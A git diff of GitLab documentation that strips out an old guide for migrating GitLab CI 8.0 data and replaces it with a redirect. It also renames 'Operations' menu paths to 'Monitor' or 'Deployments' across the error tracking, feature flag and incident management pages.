create SKIP=repositories,uploads - -# Source -cd /home/git/gitlab -sudo -u git -H bundle exec rake gitlab:backup:create RAILS_ENV=production SKIP=repositories,uploads -``` - -If this fails you need to fix it before upgrading to 8.0. Also see -<https://about.gitlab.com/get-help/> - -NOTE: -For GitLab 12.1 and earlier, use `gitlab-rake gitlab:backup:create`. - -### 2. Check source and target database types - -Check what databases you use on your GitLab server and your CI server. - Look for the 'adapter:' line. If your CI server and your GitLab server use -the same database adapter no special care is needed. If your CI server uses -MySQL and your GitLab server uses PostgreSQL you need to pass a special option -during the 'Moving data' part. **If your CI server uses PostgreSQL and your -GitLab server uses MySQL you cannot migrate your CI data to GitLab 8.0.** - -```shell -# On your CI server: -# Omnibus -sudo gitlab-ci-rake env:info - -# Source -cd /home/gitlab_ci/gitlab-ci -sudo -u gitlab_ci -H bundle exec rake env:info RAILS_ENV=production -``` - -```shell -# On your GitLab server: -# Omnibus -sudo gitlab-rake gitlab:env:info - -# Source -cd /home/git/gitlab -sudo -u git -H bundle exec rake gitlab:env:info RAILS_ENV=production -``` - -### 3. Storage planning - -Decide where to store CI build traces on GitLab server. GitLab CI uses - files on disk to store CI build traces. The default path for these build -traces is `/var/opt/gitlab/gitlab-ci/builds` (Omnibus) or -`/home/git/gitlab/builds` (Source). If you are storing your repository data in -a special location, or if you are using NFS, you should make sure that you -store build traces on the same storage as your Git repositories. - -## I. Upgrading - -From this point on, GitLab CI is unavailable for your end users. - -### 1. Upgrade GitLab to 8.0 - -First upgrade your GitLab server to version 8.0: -<https://about.gitlab.com/update/> - -### 2. Disable CI on the GitLab server during the migration - -After you update, go to the admin panel and temporarily disable CI. As - an administrator, go to **Admin Area** -> **Settings**, and under -**Continuous Integration** uncheck **Disable to prevent CI usage until `rake -ci:migrate` is run (8.0 only)**. - -### 3. CI settings are now in GitLab - -If you want to use custom CI settings (e.g. change where builds are - stored), please update `/etc/gitlab/gitlab.rb` (Omnibus) or -`/home/git/gitlab/config/gitlab.yml` (Source). - -### 4. Upgrade GitLab CI to 8.0 - -Now upgrade GitLab CI to version 8.0. If you are using Omnibus packages, - this may have already happened when you upgraded GitLab to 8.0. - -### 5. Disable GitLab CI on the CI server - -Disable GitLab CI after upgrading to 8.0. - -```shell -# On your CI server: -# Omnibus -sudo gitlab-ctl stop ci-unicorn -sudo gitlab-ctl stop ci-sidekiq - -# Source -sudo service gitlab_ci stop -cd /home/gitlab_ci/gitlab-ci -sudo -u gitlab_ci -H bundle exec whenever --clear-crontab RAILS_ENV=production -``` - -## II. Moving data - -### 1. Database encryption key - -Move the database encryption key from your CI server to your GitLab - server. The command below shows you what you need to copy-paste to your -GitLab server. On Omnibus GitLab servers you must add a line to -`/etc/gitlab/gitlab.rb`. On GitLab servers installed from source you must -replace the contents of `/home/git/gitlab/config/secrets.yml`. - -```shell -# On your CI server: -# Omnibus -sudo gitlab-ci-rake backup:show_secrets - -# Source -cd /home/gitlab_ci/gitlab-ci -sudo -u gitlab_ci -H bundle exec rake backup:show_secrets RAILS_ENV=production -``` - -### 2. SQL data and build traces - -Create your final CI data export. If you are converting from MySQL to -PostgreSQL, add `MYSQL_TO_POSTGRESQL=1` to the end of the Rake command. When -the command finishes it prints the path to your data export archive; you -need this file later. - -```shell -# On your CI server: -# Omnibus -sudo chown gitlab-ci:gitlab-ci /var/opt/gitlab/gitlab-ci/builds -sudo gitlab-ci-rake backup:create - -# Source -cd /home/gitlab_ci/gitlab-ci -sudo -u gitlab_ci -H bundle exec rake backup:create RAILS_ENV=production -``` - -### 3. Copy data to the GitLab server - -If you were running GitLab and GitLab CI on the same server you can skip this -step. - -Copy your CI data archive to your GitLab server. There are many ways to do -this, below we use SSH agent forwarding and `scp`, which is easy and fast -for most setups. You can also copy the data archive first from the CI server to -your laptop and then from your laptop to the GitLab server. - -```shell -# Start from your laptop -ssh -A ci_admin@ci_server.example -# Now on the CI server -scp /path/to/12345_gitlab_ci_backup.tar gitlab_admin@gitlab_server.example:~ -``` - -### 4. Move data to the GitLab backups folder - -Make the CI data archive discoverable for GitLab. We assume below that you -store backups in the default path, adjust the command if necessary. - -```shell -# On your GitLab server: -# Omnibus -sudo mv /path/to/12345_gitlab_ci_backup.tar /var/opt/gitlab/backups/ - -# Source -sudo mv /path/to/12345_gitlab_ci_backup.tar /home/git/gitlab/tmp/backups/ -``` - -### 5. Import the CI data into GitLab - -This step deletes any existing CI data on your GitLab server. There should -be no CI data yet because you turned CI on the GitLab server off earlier. - -```shell -# On your GitLab server: -# Omnibus -sudo chown git:git /var/opt/gitlab/gitlab-ci/builds -sudo gitlab-rake ci:migrate - -# Source -cd /home/git/gitlab -sudo -u git -H bundle exec rake ci:migrate RAILS_ENV=production -``` - -### 6. Restart GitLab - -```shell -# On your GitLab server: -# Omnibus -sudo gitlab-ctl hup unicorn -sudo gitlab-ctl restart sidekiq - -# Source -sudo service gitlab reload -``` - -## III. Redirecting traffic - -If you were running GitLab CI with Omnibus packages and you were using the -internal NGINX configuration your CI service should now be available both at -`ci.example.com` (the old address) and `gitlab.example.com/ci`. **You are done!** - -If you installed GitLab CI from source we now need to configure a redirect in -NGINX so that existing CI runners can keep using the old CI server address, and -so that existing links to your CI server keep working. - -### 1. Update NGINX configuration - -To ensure that your existing CI runners are able to communicate with the -migrated installation, and that existing build triggers still work, you must -update your NGINX configuration to redirect requests for the old locations to -the new ones. - -Edit `/etc/nginx/sites-available/gitlab_ci` and paste: - -```nginx -# GITLAB CI -server { - listen 80 default_server; # e.g., listen 192.168.1.1:80; - server_name YOUR_CI_SERVER_FQDN; # e.g., server_name source.example.com; - - access_log /var/log/nginx/gitlab_ci_access.log; - error_log /var/log/nginx/gitlab_ci_error.log; - - # expose API to fix runners - location /api { - proxy_read_timeout 300; - proxy_connect_timeout 300; - proxy_redirect off; - proxy_set_header X-Real-IP $remote_addr; - - # You need to specify your DNS servers that are able to resolve YOUR_GITLAB_SERVER_FQDN - resolver 8.8.8.8 8.8.4.4; - proxy_pass $scheme://YOUR_GITLAB_SERVER_FQDN/ci$request_uri; - } - - # redirect all other CI requests - location / { - return 301 $scheme://YOUR_GITLAB_SERVER_FQDN/ci$request_uri; - } - - # adjust this to match the largest build log your runners might submit, - # set to 0 to disable limit - client_max_body_size 10m; -} -``` - -Make sure you substitute these placeholder values with your real ones: - -1. `YOUR_CI_SERVER_FQDN`: The existing public-facing address of your GitLab CI - install (e.g., `ci.gitlab.com`). -1. `YOUR_GITLAB_SERVER_FQDN`: The current public-facing address of your GitLab - CE (or EE) install (e.g., `gitlab.com`). - -**Make sure not to remove the `/ci$request_uri` part. This is required to -properly forward the requests.** - -You should also make sure that you can: - -1. `curl "https://YOUR_GITLAB_SERVER_FQDN/"` from your previous GitLab CI server. -1. `curl "https://YOUR_CI_SERVER_FQDN/"` from your GitLab CE (or EE) server. - -### 2. Check NGINX configuration - -```shell -sudo nginx -t -``` - -### 3. Restart NGINX - -```shell -sudo /etc/init.d/nginx restart -``` - -### Restore from backup - -If something went wrong and you need to restore a backup, consult the [Backup -restoration](../raketasks/backup_restore.md) guide. - -## Troubleshooting - -### show:secrets problem (Omnibus-only) - -If you see errors like this: - -```plaintext -Missing `secret_key_base` or `db_key_base` for 'production' environment. The secrets will be generated and stored in `config/secrets.yml` -rake aborted! -Errno::EACCES: Permission denied @ rb_sysopen - config/secrets.yml -``` - -This can happen if you are updating from versions prior to 7.13 straight to 8.0. -The fix for this is to update to Omnibus 7.14 first and then update it to 8.0. - -### Permission denied when accessing `/var/opt/gitlab/gitlab-ci/builds` - -To fix that issue you have to change builds/ folder permission before doing final backup: - -```shell -sudo chown -R gitlab-ci:gitlab-ci /var/opt/gitlab/gitlab-ci/builds -``` - -Then before executing `ci:migrate` you need to fix builds folder permission: - -```shell -sudo chown git:git /var/opt/gitlab/gitlab-ci/builds -``` - -### Problems when importing CI database to GitLab - -If you were migrating CI database from MySQL to PostgreSQL manually you can see errors during import about missing sequences: - -```sql -ALTER SEQUENCE -ERROR: relation "ci_builds_id_seq" does not exist -ERROR: relation "ci_commits_id_seq" does not exist -ERROR: relation "ci_events_id_seq" does not exist -ERROR: relation "ci_jobs_id_seq" does not exist -ERROR: relation "ci_projects_id_seq" does not exist -ERROR: relation "ci_runner_projects_id_seq" does not exist -ERROR: relation "ci_runners_id_seq" does not exist -ERROR: relation "ci_services_id_seq" does not exist -ERROR: relation "ci_taggings_id_seq" does not exist -ERROR: relation "ci_tags_id_seq" does not exist -CREATE TABLE -``` - -To fix that you need to apply this SQL statement before doing final backup: - -Omnibus GitLab installations: - -```sql -gitlab-ci-rails dbconsole <<EOF --- ALTER TABLES - DROP DEFAULTS -ALTER TABLE ONLY ci_application_settings ALTER COLUMN id DROP DEFAULT; -ALTER TABLE ONLY ci_builds ALTER COLUMN id DROP DEFAULT; -ALTER TABLE ONLY ci_commits ALTER COLUMN id DROP DEFAULT; -ALTER TABLE ONLY ci_events ALTER COLUMN id DROP DEFAULT; -ALTER TABLE ONLY ci_jobs ALTER COLUMN id DROP DEFAULT; -ALTER TABLE ONLY ci_projects ALTER COLUMN id DROP DEFAULT; -ALTER TABLE ONLY ci_runner_projects ALTER COLUMN id DROP DEFAULT; -ALTER TABLE ONLY ci_runners ALTER COLUMN id DROP DEFAULT; -ALTER TABLE ONLY ci_services ALTER COLUMN id DROP DEFAULT; -ALTER TABLE ONLY ci_taggings ALTER COLUMN id DROP DEFAULT; -ALTER TABLE ONLY ci_tags ALTER COLUMN id DROP DEFAULT; -ALTER TABLE ONLY ci_trigger_requests ALTER COLUMN id DROP DEFAULT; -ALTER TABLE ONLY ci_triggers ALTER COLUMN id DROP DEFAULT; -ALTER TABLE ONLY ci_variables ALTER COLUMN id DROP DEFAULT; -ALTER TABLE ONLY ci_web_hooks ALTER COLUMN id DROP DEFAULT; - --- ALTER SEQUENCES -ALTER SEQUENCE ci_application_settings_id_seq OWNED BY ci_application_settings.id; -ALTER SEQUENCE ci_builds_id_seq OWNED BY ci_builds.id; -ALTER SEQUENCE ci_commits_id_seq OWNED BY ci_commits.id; -ALTER SEQUENCE ci_events_id_seq OWNED BY ci_events.id; -ALTER SEQUENCE ci_jobs_id_seq OWNED BY ci_jobs.id; -ALTER SEQUENCE ci_projects_id_seq OWNED BY ci_projects.id; -ALTER SEQUENCE ci_runner_projects_id_seq OWNED BY ci_runner_projects.id; -ALTER SEQUENCE ci_runners_id_seq OWNED BY ci_runners.id; -ALTER SEQUENCE ci_services_id_seq OWNED BY ci_services.id; -ALTER SEQUENCE ci_taggings_id_seq OWNED BY ci_taggings.id; -ALTER SEQUENCE ci_tags_id_seq OWNED BY ci_tags.id; -ALTER SEQUENCE ci_trigger_requests_id_seq OWNED BY ci_trigger_requests.id; -ALTER SEQUENCE ci_triggers_id_seq OWNED BY ci_triggers.id; -ALTER SEQUENCE ci_variables_id_seq OWNED BY ci_variables.id; -ALTER SEQUENCE ci_web_hooks_id_seq OWNED BY ci_web_hooks.id; - --- ALTER TABLES - RE-APPLY DEFAULTS -ALTER TABLE ONLY ci_application_settings ALTER COLUMN id SET DEFAULT nextval('ci_application_settings_id_seq'::regclass); -ALTER TABLE ONLY ci_builds ALTER COLUMN id SET DEFAULT nextval('ci_builds_id_seq'::regclass); -ALTER TABLE ONLY ci_commits ALTER COLUMN id SET DEFAULT nextval('ci_commits_id_seq'::regclass); -ALTER TABLE ONLY ci_events ALTER COLUMN id SET DEFAULT nextval('ci_events_id_seq'::regclass); -ALTER TABLE ONLY ci_jobs ALTER COLUMN id SET DEFAULT nextval('ci_jobs_id_seq'::regclass); -ALTER TABLE ONLY ci_projects ALTER COLUMN id SET DEFAULT nextval('ci_projects_id_seq'::regclass); -ALTER TABLE ONLY ci_runner_projects ALTER COLUMN id SET DEFAULT nextval('ci_runner_projects_id_seq'::regclass); -ALTER TABLE ONLY ci_runners ALTER COLUMN id SET DEFAULT nextval('ci_runners_id_seq'::regclass); -ALTER TABLE ONLY ci_services ALTER COLUMN id SET DEFAULT nextval('ci_services_id_seq'::regclass); -ALTER TABLE ONLY ci_taggings ALTER COLUMN id SET DEFAULT nextval('ci_taggings_id_seq'::regclass); -ALTER TABLE ONLY ci_tags ALTER COLUMN id SET DEFAULT nextval('ci_tags_id_seq'::regclass); -ALTER TABLE ONLY ci_trigger_requests ALTER COLUMN id SET DEFAULT nextval('ci_trigger_requests_id_seq'::regclass); -ALTER TABLE ONLY ci_triggers ALTER COLUMN id SET DEFAULT nextval('ci_triggers_id_seq'::regclass); -ALTER TABLE ONLY ci_variables ALTER COLUMN id SET DEFAULT nextval('ci_variables_id_seq'::regclass); -ALTER TABLE ONLY ci_web_hooks ALTER COLUMN id SET DEFAULT nextval('ci_web_hooks_id_seq'::regclass); -EOF -``` - -Source installations: - -```shell -cd /home/gitlab_ci/gitlab-ci -sudo -u gitlab_ci -H bundle exec rails dbconsole production <<EOF -... COPY SQL STATEMENTS FROM ABOVE ... -EOF -``` +<!-- This redirect file can be deleted after <2021-09-14>. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/operations/error_tracking.md b/doc/operations/error_tracking.md index 78aa664b339..d4edf324caa 100644 --- a/doc/operations/error_tracking.md +++ b/doc/operations/error_tracking.md @@ -27,16 +27,16 @@ least Maintainer [permissions](../user/permissions.md) to enable the Sentry inte 1. [Create](https://docs.sentry.io/product/sentry-basics/guides/integrate-frontend/create-new-project/) a new Sentry project. For each GitLab project that you want to integrate, we recommend that you create a new Sentry project. 1. [Find or generate](https://docs.sentry.io/api/auth/) a Sentry auth token for your Sentry project. Make sure to give the token at least the following scopes: `event:read` and `project:read`. -1. In GitLab, navigate to your project's **Operations > Error Tracking** page, and +1. In GitLab, navigate to your project's **Monitor > Error Tracking** page, and click **Enable Error Tracking**. -1. Navigate to your project's **Settings > Operations**. In the **Error Tracking** section, +1. Navigate to your project's **Settings > Monitor**. In the **Error Tracking** section, ensure the **Active** checkbox is set. 1. In the **Sentry API URL** field, enter your Sentry hostname. For example, enter `https://sentry.example.com` if this is the address at which your Sentry instance is available. For the SaaS version of Sentry, the hostname is `https://sentry.io`. 1. In the **Auth Token** field, enter the token you previously generated. 1. Click the **Connect** button to test the connection to Sentry and populate the **Project** dropdown. 1. From the **Project** dropdown, choose a Sentry project to link to your GitLab project. 1. Click **Save changes** for the changes to take effect. -1. You can now visit **Operations > Error Tracking** in your project's sidebar to [view a list](#error-tracking-list) of Sentry errors. +1. You can now visit **Monitor > Error Tracking** in your project's sidebar to [view a list](#error-tracking-list) of Sentry errors. ### Enabling GitLab issues links @@ -45,7 +45,7 @@ You may also want to enable Sentry's GitLab integration by following the steps i ## Error Tracking List Users with at least Reporter [permissions](../user/permissions.md) -can find the Error Tracking list at **Operations > Error Tracking** in your project's sidebar. +can find the Error Tracking list at **Monitor > Error Tracking** in your project's sidebar. Here, you can filter errors by title or by status (one of Ignored , Resolved, or Unresolved) and sort in descending order by Frequency, First Seen, or Last Seen. By default, the error list is ordered by Last Seen and filtered to Unresolved errors.  diff --git a/doc/operations/feature_flags.md b/doc/operations/feature_flags.md index dc0d5d77d27..4045e46de04 100644 --- a/doc/operations/feature_flags.md +++ b/doc/operations/feature_flags.md @@ -38,7 +38,7 @@ with GitLab, so it's up to developers to use a compatible client library and To create and enable a feature flag: -1. Navigate to your project's **Operations > Feature Flags**. +1. Navigate to your project's **Deployments > Feature Flags**. 1. Click the **New feature flag** button. 1. Enter a name that starts with a letter and contains only lowercase letters, digits, underscores (`_`), or dashes (`-`), and does not end with a dash (`-`) or underscore (`_`). @@ -90,7 +90,7 @@ and the supported strategies are: - [User List](#user-list) Strategies can be added to feature flags when [creating a feature flag](#create-a-feature-flag), -or by editing an existing feature flag after creation by navigating to **Operations > Feature Flags** +or by editing an existing feature flag after creation by navigating to **Deployments > Feature Flags** and clicking **{pencil}** (edit). ### All users @@ -184,14 +184,16 @@ For example: #### Create a user list -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13308) in GitLab 13.3. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13308) in GitLab 13.3. +> - [Updated](https://gitlab.com/gitlab-org/gitlab/-/issues/322425) in GitLab 14.0. To create a user list: -1. In your project, navigate to **Operations > Feature Flags**. -1. Click on **New list**. +1. In your project, navigate to **Deployments > Feature Flags**. +1. Select **View user lists** +1. Select **New user list**. 1. Enter a name for the list. -1. Click **Create**. +1. Select **Create**. You can view a list's User IDs by clicking the **{pencil}** (edit) button next to it. When viewing a list, you can rename it by clicking the **Edit** button. @@ -202,7 +204,7 @@ When viewing a list, you can rename it by clicking the **Edit** button. To add users to a user list: -1. In your project, navigate to **Operations > Feature Flags**. +1. In your project, navigate to **Deployments > Feature Flags**. 1. Click on the **{pencil}** (edit) button next to the list you want to add users to. 1. Click on **Add Users**. 1. Enter the user IDs as a comma-separated list of values. For example, @@ -215,7 +217,7 @@ To add users to a user list: To remove users from a user list: -1. In your project, navigate to **Operations > Feature Flags**. +1. In your project, navigate to **Deployments > Feature Flags**. 1. Click on the **{pencil}** (edit) button next to the list you want to change. 1. Click on the **{remove}** (remove) button next to the ID you want to remove. @@ -253,7 +255,7 @@ See [this video tutorial](https://www.youtube.com/watch?v=CAJY2IGep7Y) for help In [GitLab 13.0 and earlier](https://gitlab.com/gitlab-org/gitlab/-/issues/8621), to disable a feature flag for a specific environment: -1. Navigate to your project's **Operations > Feature Flags**. +1. Navigate to your project's **Deployments > Feature Flags**. 1. For the feature flag you want to disable, click the Pencil icon. 1. To disable the flag: @@ -267,7 +269,7 @@ to disable a feature flag for a specific environment: To disable a feature flag for all environments: -1. Navigate to your project's **Operations > Feature Flags**. +1. Navigate to your project's **Deployments > Feature Flags**. 1. For the feature flag you want to disable, slide the Status toggle to **Disabled**. The feature flag is displayed on the **Disabled** tab. @@ -281,7 +283,7 @@ Then prepare your application with a client library. To get the access credentials that your application needs to communicate with GitLab: -1. Navigate to your project's **Operations > Feature Flags**. +1. Navigate to your project's **Deployments > Feature Flags**. 1. Click the **Configure** button to view the following: - **API URL**: URL where the client (application) connects to get a list of feature flags. - **Instance ID**: Unique token that authorizes the retrieval of the feature flags. diff --git a/doc/operations/incident_management/alert_integrations.md b/doc/operations/incident_management/alert_integrations.md index bec0653d464..b08ce8a0ad7 100644 --- a/doc/operations/incident_management/alert_integrations.md +++ b/doc/operations/incident_management/alert_integrations.md @@ -1,5 +1,6 @@ --- redirect_to: 'integrations.md' +remove_date: '2021-05-03' --- This document was moved to [another location](integrations.md). diff --git a/doc/operations/incident_management/alerts.md b/doc/operations/incident_management/alerts.md index c49684954d9..def54d8dae2 100644 --- a/doc/operations/incident_management/alerts.md +++ b/doc/operations/incident_management/alerts.md @@ -11,7 +11,7 @@ Alerts are a critical entity in your incident management workflow. They represen ## Alert List Users with at least Developer [permissions](../../user/permissions.md) can -access the Alert list at **Operations > Alerts** in your project's +access the Alert list at **Monitor > Alerts** in your project's sidebar. The Alert list displays alerts sorted by start time, but you can change the sort order by clicking the headers in the Alert list. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217745) in GitLab 13.1.) @@ -95,7 +95,7 @@ instance. To view the metrics for an alert: 1. Sign in as a user with Developer or higher [permissions](../../user/permissions.md). -1. Navigate to **Operations > Alerts**. +1. Navigate to **Monitor > Alerts**. 1. Select the alert you want to view. 1. Below the title of the alert, select the **Metrics** tab. @@ -115,7 +115,7 @@ your application's performance and how to resolve any problems. To view the logs for an alert: 1. Sign in as a user with Developer or higher [permissions](../../user/permissions.md). -1. Navigate to **Operations > Alerts**. +1. Navigate to **Monitor > Alerts**. 1. Select the alert you want to view. 1. Below the title of the alert, select the **Metrics** tab. 1. Select the [menu](../metrics/dashboards/index.md#chart-context-menu) of @@ -168,7 +168,7 @@ difficult to track who is investigating and working on it. Assigning alerts ease To assign an alert: -1. To display the list of current alerts, navigate to **Operations > Alerts**. +1. To display the list of current alerts, navigate to **Monitor > Alerts**. 1. Select your desired alert to display its details. @@ -193,7 +193,7 @@ You can manually create [To-Do list items](../../user/todos.md) for yourself from the Alert details screen, and view them later on your **To-Do List**. To add a to-do item: -1. To display the list of current alerts, navigate to **Operations > Alerts**. +1. To display the list of current alerts, navigate to **Monitor > Alerts**. 1. Select your desired alert to display its **Alert Management Details View**. 1. Select the **Add a to do** button in the right sidebar: diff --git a/doc/operations/incident_management/img/pagerduty_incidents_integration_v13_3.png b/doc/operations/incident_management/img/pagerduty_incidents_integration_v13_3.png Binary files differindex 0991e963e02..08a45d001c2 100644 --- a/doc/operations/incident_management/img/pagerduty_incidents_integration_v13_3.png +++ b/doc/operations/incident_management/img/pagerduty_incidents_integration_v13_3.png diff --git a/doc/operations/incident_management/incidents.md b/doc/operations/incident_management/incidents.md index d09dbd2cb04..1cb10fea566 100644 --- a/doc/operations/incident_management/incidents.md +++ b/doc/operations/incident_management/incidents.md @@ -26,7 +26,7 @@ Incident, you have two options to do this manually. > [Moved](https://gitlab.com/gitlab-org/monitor/health/-/issues/24) to GitLab Free in 13.3. -- Navigate to **Operations > Incidents** and click **Create Incident**. +- Navigate to **Monitor > Incidents** and click **Create Incident**. - Create a new issue using the `incident` template available when creating it. - Create a new issue and assign the `incident` label to it. @@ -51,7 +51,7 @@ Incident, you have two options to do this manually. With Maintainer or higher [permissions](../../user/permissions.md), you can enable GitLab to create incident automatically whenever an alert is triggered: -1. Navigate to **Settings > Operations > Incidents** and expand **Incidents**. +1. Navigate to **Settings > Monitor > Incidents** and expand **Incidents**. 1. Check the **Create an incident** checkbox. 1. To customize the incident, select an [issue template](../../user/project/description_templates.md#create-an-issue-template). @@ -69,8 +69,8 @@ You can set up a webhook with PagerDuty to automatically create a GitLab inciden for each PagerDuty incident. This configuration requires you to make changes in both PagerDuty and GitLab: -1. Sign in as a user with Maintainer [permissions](../../user/permissions.md). -1. Navigate to **Settings > Operations > Incidents** and expand **Incidents**. +1. Sign in as a user with the [Maintainer role](../../user/permissions.md). +1. Navigate to **Settings > Monitor > Incidents** and expand **Incidents**. 1. Select the **PagerDuty integration** tab:  @@ -87,7 +87,7 @@ confirm that a GitLab incident is created from the incident. ## Incident list For users with at least Guest [permissions](../../user/permissions.md), the -Incident list is available at **Operations > Incidents** +Incident list is available at **Monitor > Incidents** in your project's sidebar. The list contains the following metrics:  @@ -132,7 +132,7 @@ For a live example of the incident list in action, visit this > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230847) in GitLab 13.4. Users with at least Guest [permissions](../../user/permissions.md) can view -the Incident Details page. Navigate to **Operations > Incidents** in your project's +the Incident Details page. Navigate to **Monitor > Incidents** in your project's sidebar, and select an incident from the list. When you take any of these actions on an incident, GitLab logs a system note and @@ -204,9 +204,11 @@ un-threaded and ordered chronologically, newest to oldest: You can enable the Service Level Agreement Countdown timer on incidents to track the Service Level Agreements (SLAs) you hold with your customers. The timer is automatically started when the incident is created, and shows the time -remaining before the SLA period expires. To configure the timer: +remaining before the SLA period expires. The timer is also dynamically updated +every 15 minutes so you do not have to refresh the page to see the time remaining. +To configure the timer: -1. Navigate to **Settings > Operations**. +1. Navigate to **Settings > Monitor**. 1. Scroll to **Incidents** and click **Expand**, then select the **Incident settings** tab. 1. Select **Activate "time to SLA" countdown timer**. @@ -276,7 +278,7 @@ templates. With Maintainer or higher [permissions](../../user/permissions.md), you can enable GitLab to close an incident automatically when a **Recovery Alert** is received: -1. Navigate to **Settings > Operations > Incidents** and expand **Incidents**. +1. Navigate to **Settings > Monitor > Incidents** and expand **Incidents**. 1. Check the **Automatically close associated Incident** checkbox. 1. Click **Save changes**. diff --git a/doc/operations/incident_management/integrations.md b/doc/operations/incident_management/integrations.md index 07ffb92a000..d2c52123838 100644 --- a/doc/operations/incident_management/integrations.md +++ b/doc/operations/incident_management/integrations.md @@ -18,9 +18,9 @@ to use this endpoint. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/245331) in GitLab Free 13.5. -With Maintainer or higher [permissions](../../user/permissions.md), -you can view the list of configured alerts integrations by navigating to **Settings > Operations** -in your project's sidebar menu, and expanding the **Alert integrations** section. The list displays +With the [Maintainer role or higher](../../user/permissions.md), +you can view the list of configured alerts integrations by navigating to **Settings > Monitor** +in your project's sidebar menu, and expanding the **Alerts** section. The list displays the integration name, type, and status (enabled or disabled):  @@ -38,8 +38,8 @@ receive alert payloads in JSON format. You can always 1. Sign in to GitLab as a user with maintainer [permissions](../../user/permissions.md) for a project. -1. Navigate to **Settings > Operations** in your project. -1. Expand the **Alert integrations** section, and in the **Select integration type** dropdown menu, +1. Navigate to **Settings > Monitor** in your project. +1. Expand the **Alerts** section, and in the **Select integration type** dropdown menu, select **HTTP Endpoint**. 1. Toggle the **Active** alert setting. The URL and Authorization Key for the webhook configuration are available in the **View credentials** tab after you save the integration. You must also input @@ -55,8 +55,8 @@ and you can [customize the payload](#customize-the-alert-payload-outside-of-gitl 1. Sign in to GitLab as a user with maintainer [permissions](../../user/permissions.md) for a project. -1. Navigate to **Settings > Operations** in your project. -1. Expand the **Alert integrations** section. +1. Navigate to **Settings > Monitor** in your project. +1. Expand the **Alerts** section. 1. For each endpoint you want to create: 1. Click the **Add new integration** button. @@ -166,8 +166,8 @@ configures an integration, you can trigger a test alert to confirm your integration works properly. 1. Sign in as a user with Developer or greater [permissions](../../user/permissions.md). -1. Navigate to **Settings > Operations** in your project. -1. Click **Alert integrations** to expand the section. +1. Navigate to **Settings > Monitor** in your project. +1. Click **Alerts** to expand the section. 1. Click the **{settings}** settings icon on the right side of the integration in [the list](#integrations-list). 1. Select the **Send test alert** tab to open it. 1. Enter a test payload in the payload field (valid JSON is required). @@ -219,8 +219,8 @@ active at the same time. To enable Opsgenie integration: -1. Sign in as a user with Maintainer or Owner [permissions](../../user/permissions.md). -1. Navigate to **Operations > Alerts**. +1. Sign in as a user with the [Maintainer or Owner role](../../user/permissions.md). +1. Navigate to **Monitor > Alerts**. 1. In the **Integrations** select box, select **Opsgenie**. 1. Select the **Active** toggle. 1. In the **API URL** field, enter the base URL for your Opsgenie integration, @@ -228,4 +228,4 @@ To enable Opsgenie integration: 1. Select **Save changes**. After you enable the integration, navigate to the Alerts list page at -**Operations > Alerts**, and then select **View alerts in Opsgenie**. +**Monitor > Alerts**, and then select **View alerts in Opsgenie**. diff --git a/doc/operations/incident_management/oncall_schedules.md b/doc/operations/incident_management/oncall_schedules.md index 695b42f7d1a..5d312ef672f 100644 --- a/doc/operations/incident_management/oncall_schedules.md +++ b/doc/operations/incident_management/oncall_schedules.md @@ -28,7 +28,7 @@ Set up an on-call schedule for your team to add rotations to. Follow these steps to create a schedule: -1. Go to **Operations > On-call Schedules** and select **Add a schedule**. +1. Go to **Monitor > On-call Schedules** and select **Add a schedule**. 1. In the **Add schedule** form, enter the schedule's name and description, and select a timezone. 1. Click **Add schedule**. @@ -41,7 +41,7 @@ create [rotations](#rotations) for your schedule. Follow these steps to update a schedule: -1. Go to **Operations > On-call Schedules** and select the **Pencil** icon on the top right of the +1. Go to **Monitor > On-call Schedules** and select the **Pencil** icon on the top right of the schedule card, across from the schedule name. 1. In the **Edit schedule** form, edit the information you wish to update. 1. Click the **Edit schedule** button to save your changes. @@ -53,7 +53,7 @@ interval (if one is set) to the corresponding times in the new time zone. Follow these steps to delete a schedule: -1. Go to **Operations > On-call Schedules** and select the **Trash Can** icon on the top right of the +1. Go to **Monitor > On-call Schedules** and select the **Trash Can** icon on the top right of the schedule card. 1. In the **Delete schedule** window, click the **Delete schedule** button. @@ -63,7 +63,7 @@ Add rotations to an existing schedule to put your team members on-call. Follow these steps to create a rotation: -1. Go to **Operations > On-call Schedules** and select **Add a rotation** on the top right of the +1. Go to **Monitor > On-call Schedules** and select **Add a rotation** on the top right of the current schedule. 1. In the **Add rotation** form, enter the following: @@ -80,7 +80,7 @@ Follow these steps to create a rotation: Follow these steps to edit a rotation: -1. Go to **Operations > On-call Schedules** and select the **Pencil** icon to the right of the title +1. Go to **Monitor > On-call Schedules** and select the **Pencil** icon to the right of the title of the rotation that you want to update. 1. In the **Edit rotation** form, make the changes that you want. 1. Select the **Edit rotation** button. @@ -89,7 +89,7 @@ Follow these steps to edit a rotation: Follow these steps to delete a rotation: -1. Go to **Operations > On-call Schedules** and select the **Trash Can** icon to the right of the +1. Go to **Monitor > On-call Schedules** and select the **Trash Can** icon to the right of the title of the rotation that you want to delete. 1. In the **Delete rotation** window, select the **Delete rotation** button. diff --git a/doc/operations/incident_management/paging.md b/doc/operations/incident_management/paging.md index 1588cb96218..db419001343 100644 --- a/doc/operations/incident_management/paging.md +++ b/doc/operations/incident_management/paging.md @@ -27,9 +27,9 @@ Email notifications are available in projects for triggered alerts. Project members with the **Owner** or **Maintainer** roles have the option to receive a single email notification for new alerts. -1. Navigate to **Settings > Operations**. -1. Expand the **Incidents** section. -1. In the **Alert Integration** tab, select the checkbox +1. Navigate to **Settings > Monitor**. +1. Expand the **Alerts** section. +1. In the **Integration settings** tab, select the checkbox **Send a single email notification to Owners and Maintainers for new alerts**. 1. Select **Save changes**. diff --git a/doc/operations/incident_management/status_page.md b/doc/operations/incident_management/status_page.md index 1e11a9c62e0..d63d42e07c1 100644 --- a/doc/operations/incident_management/status_page.md +++ b/doc/operations/incident_management/status_page.md @@ -42,7 +42,7 @@ Only AWS S3 is supported as a deploy target. To provide GitLab with the AWS account information needed to push content to your Status Page: 1. Sign into GitLab as a user with Maintainer or greater [permissions](../../user/permissions.md). -1. Navigate to **{settings}** **Settings > Operations**. Next to **Status Page**, +1. Navigate to **{settings}** **Settings > Monitor**. Next to **Status Page**, click **Expand**. 1. Click **Active** to enable the Status Page feature. 1. In **Status Page URL**, provide the URL to your external status page. @@ -92,10 +92,9 